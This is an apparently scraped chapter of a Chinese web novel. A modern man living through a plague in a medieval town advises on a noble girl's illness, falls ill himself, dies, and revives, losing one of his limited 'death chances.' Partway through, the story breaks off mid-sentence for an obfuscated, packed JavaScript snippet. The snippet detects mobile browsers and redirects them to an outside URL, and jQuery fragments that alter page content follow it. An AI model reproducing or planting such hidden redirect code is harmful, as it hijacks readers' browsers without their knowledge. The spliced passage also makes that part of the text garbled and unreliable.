林越走在通往城堡的山路上，脚下的碎石在靴子底下嘎吱作响。


    清晨的山路笼罩在薄雾里，能见度不高。林越走得很慢，一方面因为路不好走，另一方面因为他要时不时停下来检查防护。


    多层布口罩捂得有点闷，呼吸的时候能感觉到布料贴在脸上，湿漉漉的。厚布手套让手指不太灵活，握拳、伸展都有点费劲。但他没摘——防护的意义就在于不方便，太方便的防护通常没什么用。


    他边走边检查全身：袜套扎得够紧吗？袖口有没有缝隙？腰间的驱虫香包虽然早就没味道了，但还是挂着，像个心理安慰的护身符。


    这套装备现在看起来像中世纪版的太空服。林越脑子里冒出这个念头，然后自己都觉得有点荒谬。太空服是为了在真空中生存，他这身是为了在瘟疫中生存。虽然防护效果大概跟雨衣防核弹差不多——心理安慰大于实际作用，但该穿还是得穿。


    走到一个转弯处时，他停下来，回头看山下的灰石镇。


    镇子笼罩在阴沉的天色里，像被一块灰色的布蒙住了。房屋的轮廓模糊不清，街道上看不到行人，只有偶尔升起的几缕炊烟，证明那里还有人活着。


    然后他听到了钟声。


    从镇子中心的教堂传来的钟声，隔着这么远距离，声音已经变得微弱，但依然能分辨出节奏：咚，咚，咚，咚。


    四下。四个新的死亡。


    林越站着听了一会儿，然后抬起手腕。两道鲜艳的红痕在昏暗的光线下依然刺眼，红得像刚画上去的血迹。


    他看着那两道红痕，心里计算：死亡机会剩余两次。今天可能要用掉一次。


    也可能不用。也许防护有效，也许运气够好，也许……


    他摇摇头，把“也许”压下去。在这种环境里，“也许”是最危险的想法。它让你放松警惕，让你心存侥幸，让你在应该逃跑的时候犹豫。


    他继续往前走。


    山路比想象中陡。林越平时体力不错，但戴着口罩呼吸不畅，加上心理压力，走了一段就开始喘气。他停下来，靠在路边一棵树上休息，摘下水囊喝了口水。


    水是烧开后放凉的，带着点木炭过滤后的淡淡焦味。他喝得很小心，不让水碰到口罩。


    休息了几分钟，他继续走。


    大约又走了半小时，城堡的轮廓出现在视野里。


    城堡建在山丘顶部，石墙在阴沉天色里显得格外沉重。城墙很高，瞭望塔上能看到人影晃动——应该是守卫。大门紧闭着，门前有一小片空地。


    林越走到空地边缘时，大门旁边的小门开了，两个守卫走出来，手持长矛。


    “站住！”一个守卫喊道，声音在空旷的山路上回荡。


    林越停下脚步，举起双手，示意自己没有武器。


    守卫走近，眼神警惕地打量他，重点打量他怪异的装束——口罩，手套，扎紧的袖口和裤腿。


    “你是谁？来这里干什么？”守卫问。


    “我是玛格丽特婆婆派来的。”林越说，声音透过口罩有点闷，“来看安娜小姐的病。”


    守卫对视一眼，其中一个转身跑回城堡，大概是去通报。另一个留在原地，长矛尖对着林越，保持安全距离。


    林越站在原地没动。他知道中世纪对“外来者”的警惕，尤其是在瘟疫时期。他能理解，甚至欣赏这种警惕——至少说明城堡里的人还有基本的防护意识。


    几分钟后，那个守卫回来了，身后跟着一个中年男人。


    男人穿着相对讲究的衣服——虽然不是华丽的贵族服饰，但布料比平民的好，裁剪也更合身。他脸上写满焦虑和疲惫，眼袋很深，胡子没刮干净。


    “你就是玛格丽特派来的人？”男人问，声音沙哑。


    “是。”林越点头，“婆婆年纪大了，走不了山路，让我来。”


    男人——海因里希男爵，林越猜——盯着他的口罩看了几秒：“你那是什么？”


    “防护。”林越简单解释，“防止传染。”


    海因里希沉默了一会儿，然后点点头：“跟我来。”


    城堡内部比外面看起来更压抑。


    石墙很厚，窗户很小，光线透进来有限，走廊里点着火把，但火把的光在石墙上跳动，投下晃动的阴影。仆人们匆匆走过，看到林越时都下意识避开，眼神里有警惕，有好奇，更多的是恐惧。


    恐惧的气味。林越能闻到，即使隔着口罩。那是一种酸涩的、紧绷的气味，混在石头的霉味和火把的烟味里。


    海因里希带他上楼梯，楼梯是石头的，踩上去很凉。上了两层，来到一条走廊尽头的一扇木门前。


    “安娜在里面。”海因里希说，手放在门把上，但没推开，“你真的能治好她？”


    林越看着他的眼睛。那双眼睛里有很多东西：父亲的焦虑，贵族的骄傲，绝望中的最后一丝希望。


    “我不能保证治好。”林越说，声音平静，“我只能提供一些可能缓解症状的方法，降低传染风险。最终能不能好，要看……她的身体和运气。”


    他说得很直接，没有掩饰，没有美化。因为在这种时候，虚假的希望比真实的绝望更残忍。


    海因里希盯着他看了很久，然后深吸一口气，推开木门。


    房间比走廊明亮些，因为有一扇相对大点的窗户。但窗户关着，房间里空气不流通，有股混合气味——草药味，汗味，还有疾病特有的甜腥味。


    床上躺着一个人。


    安娜，领主的女儿，看起来大概十五六岁。她闭着眼睛，脸烧得通红，嘴唇干裂。呼吸很急促，胸口起伏明显。被子盖到脖子，但林越能看到脖颈侧面有一个明显的肿块，肿得发亮，皮肤紧绷。


    典型鼠疫症状。林越心里确认。


    他走近床边，但保持距离——大概一米五。这个距离能看清症状，又不会太近。


    “发热多久了？”他问。


    “昨天开始的。”海因里希站在门边，没进来，“开始只是发热，今天早晨脖子肿了。”


    “有咳嗽吗？”


    “有一点。”


    “呕吐？腹泻？”


    “没有。”


    林越点点头。腺鼠疫，淋巴型，还没发展到肺型或败血型。但这不一定是好消息——腺鼠疫死亡率也很高，尤其是在这个时代。


    他观察了一会儿，然后退后，走到窗边。


    “窗户要打开。”他说。


    海因里希愣住：“打开？风会带病……”


    “不通风才会让病更重。”林越说，“空气流通能降低房间里的病菌浓度。当然，如果你们坚持不开，我也没办法。”


    他说完，等海因里希反应。


    中世纪人相信“风会带病”、“夜晚空气有害”，这种观念根深蒂固。但他必须提出建议，即使可能被拒绝。


    海因里希沉默了几秒，然后对门外喊：“汉斯！”


    一个仆人跑进来。


    “把窗户打开一点。”海因里希说，“就一点。”


    仆人犹豫了一下，但服从了。他走到窗边，推开一条缝。冷空气涌进来，带着山间的潮湿气息。


    林越继续说建议，一条一条，清晰简洁：


    “第一，草药降温。柳树皮煮水，一天三次。不要用太热的，温的就行。”


    “第二，专人照顾。选一个身体好、不怕风险的人，只由这个人进出房间。其他人不要接触。”


    “第三，所有碰过安娜的东西——衣服，床单，餐具——都要用开水烫过。”


    “第四，照顾的人要勤洗手，碰任何东西前后都要洗。”


    他每说一条，海因里希就点一下头，表情认真得像在听神谕。但林越知道，这根本不是神谕，只是最基本的感染控制常识。放在现代，这是医院护工入职培训的内容。


    放在这里，这就是救命的知识。


    说完后，林越补充：“这些方法可能缓解症状，让她舒服点。但无法治愈。最终能不能好，要看她的身体和运气。”


    又是“运气”。海因里希听到这个词时，嘴角抽动了一下。


    “我知道了。”他说，声音很轻，“做你能做的。”


    不是感激，是绝望中的妥协。林越听出来了。


    他跟着海因里希下楼，来到厨房，指导仆人如何熬柳树皮水——水量，火候，时间。仆人听得认真，但林越知道，在这种条件下，效果有限。


    这大概相当于用维生素C治癌症。他脑子里闪过这个对比。聊胜于无，但总比什么都不做强。至少能让家属感觉“做了点什么”，至少能让病人少受点罪。


    指导完，海因里希送他到城堡门口。


    “谢谢你。”男爵说，这次语气真诚了些，“无论结果如何。”


    林越点点头，没说话。他转身离开，走上山路。


    走到第一个转弯处时，他回头看了一眼。城堡大门已经关上了，像一张沉默的嘴。窗户里透出微弱的光，在阴沉天色里像垂死者的眼睛。


    他继续走。


    但走着走着，他开始感觉有点……不对劲。


    不是明显的症状。没有发热，没有咳嗽，没有疼痛。是某种更微妙的东西——身体似乎比平时沉重，呼吸在口罩里有点急促，心跳好像比平时快一点。


    心理作用？林越想。可能是刚才紧张，可能是山路难走，可能是……


    他加快脚步，想快点回到旅店，好好检查一下。但山路似乎比来时更长，更陡，每一步都更费力。


    中途他又停下来休息，靠在同一棵树上。这次他摘下手套，用自带醋水洗手。冰凉的醋水倒在手上，刺激皮肤，但他洗得很仔细。


    洗完后，他抬起手，看着自己的手指。


    手指在微微颤抖。


    很轻微，不仔细看几乎察觉不到。但他看到了。


    心理作用？还是……


    他不敢细想，戴回手套，继续赶路。这次他走得更快，几乎是小跑。口罩里的呼吸声越来越重，像拉风箱。


    回到灰石镇时，天快黑了。


    镇子街道上几乎没有人，偶尔有身影闪过，也很快消失在门后。教堂钟声又响了，这次是五下。五声，五个新的死亡。


    林越先去了玛格丽特婆婆的小屋。门关着，但窗里有光。他敲敲门，等了一会儿，婆婆来开门。


    婆婆看到他，眼神里有疲惫，但看到他的装束时，多了一丝欣慰——至少他还记得防护。


    “城堡那边怎么样？”婆婆问。


    “看了。”林越说，声音有点哑，“安娜确实是鼠疫。我给了些建议，但……”


    他没说完，但婆婆懂了。她点点头，眼神黯淡。


    “你还好吗？”婆婆突然问，盯着他的脸。


    林越愣了一下：“有点累。”


    但说完这句话，他突然感到一阵寒意。


    不是天气的冷。天气确实凉，但这是深秋的凉意，是皮肤感受到的冷。而他此刻感觉到的冷，是从骨头里透出来的，从脊椎深处蔓延开来，瞬间席卷全身的冷。


    他打了个寒战。


    婆婆注意到了：“你……”


    “我没事。”林越打断她，声音比预想的急，“先回去了。”


    他转身离开，走得很快，几乎是逃跑。婆婆在身后喊了什么，他没听清，也不想听清。


    回到旅店，推开木门，大堂里空荡荡的。老板不在柜台，其他客人应该都在自己房间。林越直接上楼，回到自己房间，关上门，插上门闩。


    然后他做的第一件事，是检查身体。


    脱掉手套，仔细看手——没有红点，没有肿块。脱掉袜套，看脚踝——前天那个跳蚤包还在，颜色变暗了，但没有新的。


    脱掉上衣，检查腋下、胸口、后背——没有异常。


    防护装备完好，没有明显破损。


    但当他抬手摸额头时，手心感受到的温度让他心里一沉。


    发热。


    不是很高的烧，但确实是发热。手心贴额头，能感觉到明显的温度差。


    他脱掉所有衣服，站在房间中央，让微凉的空气接触皮肤。然后他抱住胳膊，发现自己身体在微微颤抖。


    不是冷的颤抖，是发烧时的寒战。


    认知过程在他脑子里自动展开，像程序执行：


    第一步：“有点发冷，可能是累了，走山路出汗又吹风。”


    第二步：“等等，这冷得不太正常。从骨头里冷出来。”


    第三步：“额头温度……偏高。不是很高，但确实偏高。”


    第四步：“身体在抖。寒战。”


    第五步：“完了，中招了。”


    防护极限被突破。


    概率风险变成必然结果。


    就像老板画的饼终于馊了——你知道它迟早会馊，你闻到了馊味的前兆，你告诉自己“也许还没全馊”，但当真的把饼凑到鼻子前，那股明显的馊味冲进鼻腔时，那种“果然如此”的感觉里，还是掺杂着一丝荒谬。


    你知道会这样，但真的发生时，还是觉得……荒谬。


    林越站在原地，光着身子，颤抖着，脑子里一片空白。不是恐惧的空白，是认知冲击后的短暂死机。


    几秒后，系统重启。


    他穿上衣服，不是慢慢穿，是机械地、快速地穿好。然后坐在床边，开始思考接下来怎么办。


    症状：发热，寒战。没有淋巴结肿大（暂时），没有咳嗽呕吐（暂时）。早期鼠疫，可能还在潜伏期末期或发病初期。


    治疗选择：没有。中世纪没有有效治疗。玛格丽特婆婆的草药？可能有点退热效果，但治不了鼠疫。


    生存概率：在这个时代，腺鼠疫死亡率保守估计50%以上。考虑到他的身体状况（还算健康）和早期发现，也许死亡率低一点？但低不了多少。


    死亡机会：还剩两次。这次可能要用掉一次。


    他抬起手腕，看着两道红痕。两道都还鲜艳，但很快，可能就只剩一道了。


    他看着那两道红色，看了很久。


    然后他躺下，盖上被子，闭上眼睛。


    睡一觉。也许明天就好了。也许只是普通感冒。也许……


    他在“也许”中睡着了。


    第二天早晨，他是被症状唤醒的。


    不是自然醒，是被高热和疼痛唤醒的。睁开眼睛时，头像是要裂开，太阳穴突突地跳。身体烫得像火炉，但同时又冷得发抖，肌肉酸痛，尤其是背部和腿部，痛得像被人用棍子打过。


    他知道这不再是“也许”了。


    他挣扎着坐起来，穿上衣服——动作很慢，因为每个关节都在痛。然后他背上包袱，推开门，下楼。


    他要去玛格丽特婆婆那里。也许草药没用，但至少……至少要做点什么。


    刚走到楼梯口，就遇到了老板。


    老板端着早餐盘正要上楼，看到林越时，愣了一下。然后他的表情变了。


    “你……”老板后退一步，眼睛盯着林越的脸，“你发热了？”


    林越能看到老板眼中的惊恐，那种动物闻到危险时的本能反应。


    他点头，想解释，想说“我只是需要点草药”，但老板已经大喊起来：


    “别过来！离远点！”


    声音在空旷的楼梯间回荡。


    其他房间的门开了，几个客人探出头。看到林越的状态后，他们的表情和老板一样——惊恐，然后是厌恶，然后是逃避。


    “出去！”老板声音尖利，“你不能留在这里！”


    林越试图争辩：“我有钱，我可以付更多房费……”


    “钱有什么用？”老板打断他，声音因为恐惧而扭曲，“你死了钱能救我吗？出去！现在就出去！不然我叫守卫了！”


    林越看着周围。楼梯上，走廊里，几张脸在门缝后看着他。每张脸上都是同样的表情：恐惧催生出来的冷酷。


    他知道没有选择。


    他想起昨天在巷子里看到的那个老人，被邻居驱赶，躺在墙根等死。当时他觉得那很残酷，很丑陋。现在他理解了——不是理解那种行为，是理解那种逻辑。在生存威胁面前，人性会简化成最简单的算法：自己活，别人死。


    他转身，慢慢下楼。脚步很沉，每一步都费劲。


    老板在后面喊：“你的东西！”


    林越没回头：“不要了。”


    走出旅店，早晨的冷空气扑面而来。他打了个寒战，抱住胳膊，但寒冷是从内部透出来的，抱再紧也没用。


    街道上有人，但看到他时都避开，远远绕行。他像一颗人形瘟疫炸弹，走到哪里，哪里就清空。


    上次被这么嫌弃，还是大学时感冒了室友让我别回宿舍。林越脑子里冒出这个念头，然后自己都觉得有点可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204607|195946||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    笑。不过那次只是感冒，这次……可能真是绝症。


    他无处可去。


    玛格丽特婆婆的小屋？不能去——会传染给她。而且婆婆年纪大了，抵抗力更差。


    城堡？更不可能。


    他在镇子里漫无目的地走，最后走到镇子边缘。这里房屋稀疏，有些已经废弃。他看到一间柴房，门半开着，里面堆着干草和木柴。


    他走进去，关上门。


    柴房很简陋，墙是石头垒的，屋顶有破洞，能看到天空。地上铺着干草，有些已经发霉。空气里有灰尘和腐烂的气味。


    他找了个相对干净的角落，把干草堆成简陋的床铺，躺上去。


    症状继续恶化。


    高热让他意识模糊，眼前景物开始晃动，像隔着一层水看世界。发冷让他蜷缩成一团，牙齿打颤，即使裹紧衣服也没用。肌肉痛得更厉害，尤其是背部，痛得他几乎不能平躺。


    他知道这是什么：鼠疫，腺鼠疫。在这个时代，等于死亡宣判。


    他躺在干草上，看着屋顶的破洞。天空是灰色的，没有云，也没有太阳，只是一片均匀的灰。


    脑子里闪过各种念头，像坏掉的投影仪，画面跳跃，没有逻辑：


    现代医学知识：鼠疫杆菌，耶尔森菌，革兰氏阴性菌。抗生素有效，链霉素、庆大霉素、多西环素。治愈率90%以上，如果早期治疗的话。


    中世纪现实：没有显微镜，没有细菌概念，没有抗生素。治疗靠放血、草药、祈祷。死亡率50%-60%，如果医疗条件差，可能更高。


    个人现实：死亡机会还剩两次。这次要用掉一次。


    他抬起手腕，看着两道红痕。在昏暗光线下，红色依然鲜艳。很快，就只剩一道了。


    死亡前的内心活动，像走马灯：


    后悔吗？有点。该更小心吗？也许该更彻底地隔离，也许该早点离开灰石镇，也许……


    但理性告诉他：在这种环境里，感染不是“是否”的问题，是“何时”的问题。灰石镇就是个大培养皿，每个人都是潜在宿主，跳蚤是无差别快递员。防护只能推迟感染时间，不能避免感染。


    就像在枪林弹雨里躲闪，你可以躲开这颗子弹，躲开那颗子弹，但总有一颗会打中你。区别只是早晚。


    他接受这个事实。不是平静地接受，是疲惫地、无可奈何地接受。


    时间缓慢流逝。


    症状持续加重。高热让他产生幻觉，看到奇怪的光影在眼前晃动。脱水让他嘴唇干裂，舌头粘在上颚。呼吸越来越困难，每次吸气都像在拉风箱。


    他知道快到终点了。


    最后的念头，像最后一点电力耗尽前屏幕上的最后一行字：


    “下次，绝对不住有跳蚤的旅店。”


    停顿。


    “虽然可能没有下次了。”


    然后黑暗。


    彻底的，没有梦的黑暗。


    林越睁开眼睛。


    他躺在……床上。


    不是柴房的干草堆，是旅店房间的床上。被子盖在身上，枕头在头下，窗户关着，晨光从缝隙透进来。


    他愣了几秒，然后猛地坐起来。


    第一时间检查手腕。


    左手腕内侧，原本有两道红痕的地方，现在只剩一道了。


    消失的那道红痕，原本的位置皮肤光滑如初，没有痕迹，没有疤痕，仿佛从未存在过。就像用橡皮擦擦掉了铅笔字，擦得干干净净，一点残留都没有。


    剩下的那道红痕，红得刺眼。而且……


    林越把手腕凑到眼前，仔细感受。


    在发热。


    不是高烧那种热，是持续的低热，像贴了一片暖宝宝在皮肤上。温度不高，但能明显感觉到，而且持续不断。


    他在提醒你：最后的机会了。


    林越放下手腕，检查身体。


    没有发热，没有寒战，没有肌肉痛。呼吸顺畅，头脑清醒，体力充沛。所有症状消失得干干净净，就像从未生过病。


    但记忆还在。


    死亡过程的每一个细节：高热，寒战，疼痛，脱水，呼吸困难，最后的黑暗。每一个感官体验，每一个心理活动，都清晰得可怕。不是“像做过一场梦”那种模糊，是“亲身经历过”那种清晰。


    他坐在床边，没动，没下床，没去开门。


    他需要思考。


    从“降低感染概率”到“接受感染必然性”的认知转变，在他脑子里完成最后的连接。


    在灰石镇这种环境里，鼠疫感染不是小概率事件，不是“可能发生”，是高概率事件，是“迟早发生”。每个人都在感染名单上，区别只是感染顺序。


    防护措施——扎紧袖口，戴口罩，洗手，撒石灰——这些只能做一件事：把你的名字从名单前排移到名单后排。你从“今天感染”变成“明天感染”，从“这周感染”变成“下周感染”。但你还是在名单上。


    防护的意义不是“避免感染”，是“推迟感染时间”。


    推迟时间有什么用？


    有用。推迟的时间可以用来做其他事：学习草药知识，建立人际关系，探索城堡，收集信息，为下一次重生做准备，或者……为惩罚世界做准备。


    因为第三次死亡（用完最后一道红痕）后，不是结束，是进入惩罚世界。那是一个未知的、可能更残酷的世界。


    所以核心生存策略要从“绝对防护”转向“风险管控”和“死亡机会管理”。


    不是“怎么才能不死”，是“怎么在死之前做最多有用的事”，以及“怎么安排死亡时机，让死亡最有价值”。


    林越从包袱里找出那本“生存笔记”，翻开新的一页。


    标题：《中世纪生存策略v2.0——风险管控模式》


    内容：


    基本认知：感染是必然，防护是推迟。


    目标调整：从“避免死亡”转为“管理死亡时机”。


    死亡机会分配：最后一道红痕为“战略储备”，前两道为“可消耗资源”。


    行动优先级：


    第一优先：学习关键生存知识（草药、医疗、社交规则）。


    第二优先：建立关键人际关系（玛格丽特、领主、其他潜在盟友）。


    第三优先：探索环境信息（城堡结构、城镇布局、逃生路线）。


    第四优先：为惩罚世界做准备（心理建设、知识储备）。


    防护升级方向：从“物理防护”转向“早期监测+快速响应”。


    死亡计划：每次死亡前，确保已获取最大价值信息/经验。


    写完，他看着最后一条：“死亡计划”。


    听起来有点疯狂。计划自己的死亡。但在这种环境下，这是最理性的选择。


    他合上本子，站起来，走到窗边，推开一条缝。


    街道上有人走动，比昨天多些。教堂钟声没响——暂时没有新的死亡公告。天空还是阴沉，但云层薄了些，能看到一点模糊的太阳轮廓。


    他低头看手腕。最后一道红痕在晨光里红得像血，持续散发低热，像个小火炉贴在皮肤上。


    时刻提醒：机会只剩一次，用完就进入未知的惩罚世界。


    他穿好衣服，检查防护——袜套，袖口，口罩。虽然知道防护效果有限，但该做还是得做。就像明知道雨衣防不住核弹，但下雨时还是得穿。


    下楼时，老板在大堂擦桌子。看到林越下来，老板愣住了，眼睛瞪大，手里的抹布掉在桌上。


    “你……”老板声音结巴，“你不是……”


    “我好了。”林越简单说，没停步，直接走向门口。


    老板在后面喊什么，他没听，也没回头。


    走出旅店，他朝玛格丽特婆婆的小屋走去。


    他要告诉婆婆两件事：第一，安娜的情况（虽然可能已经……）。第二，他“生病又好了”的经历（用含糊的解释，就说自己抵抗力强，扛过去了）。


    更重要的是，他要开始实施新的生存策略。


    基于“死亡是必然过程，重点是管理死亡时机和后果”的新策略。


    手腕上最后一道红痕持续发热，每一步都能感觉到那微小的温度，贴皮肤，持续不断。


    像倒计时的秒表，滴答，滴答，滴答。


    时间有限，机会有限。


    但这一次，他知道该怎么用了。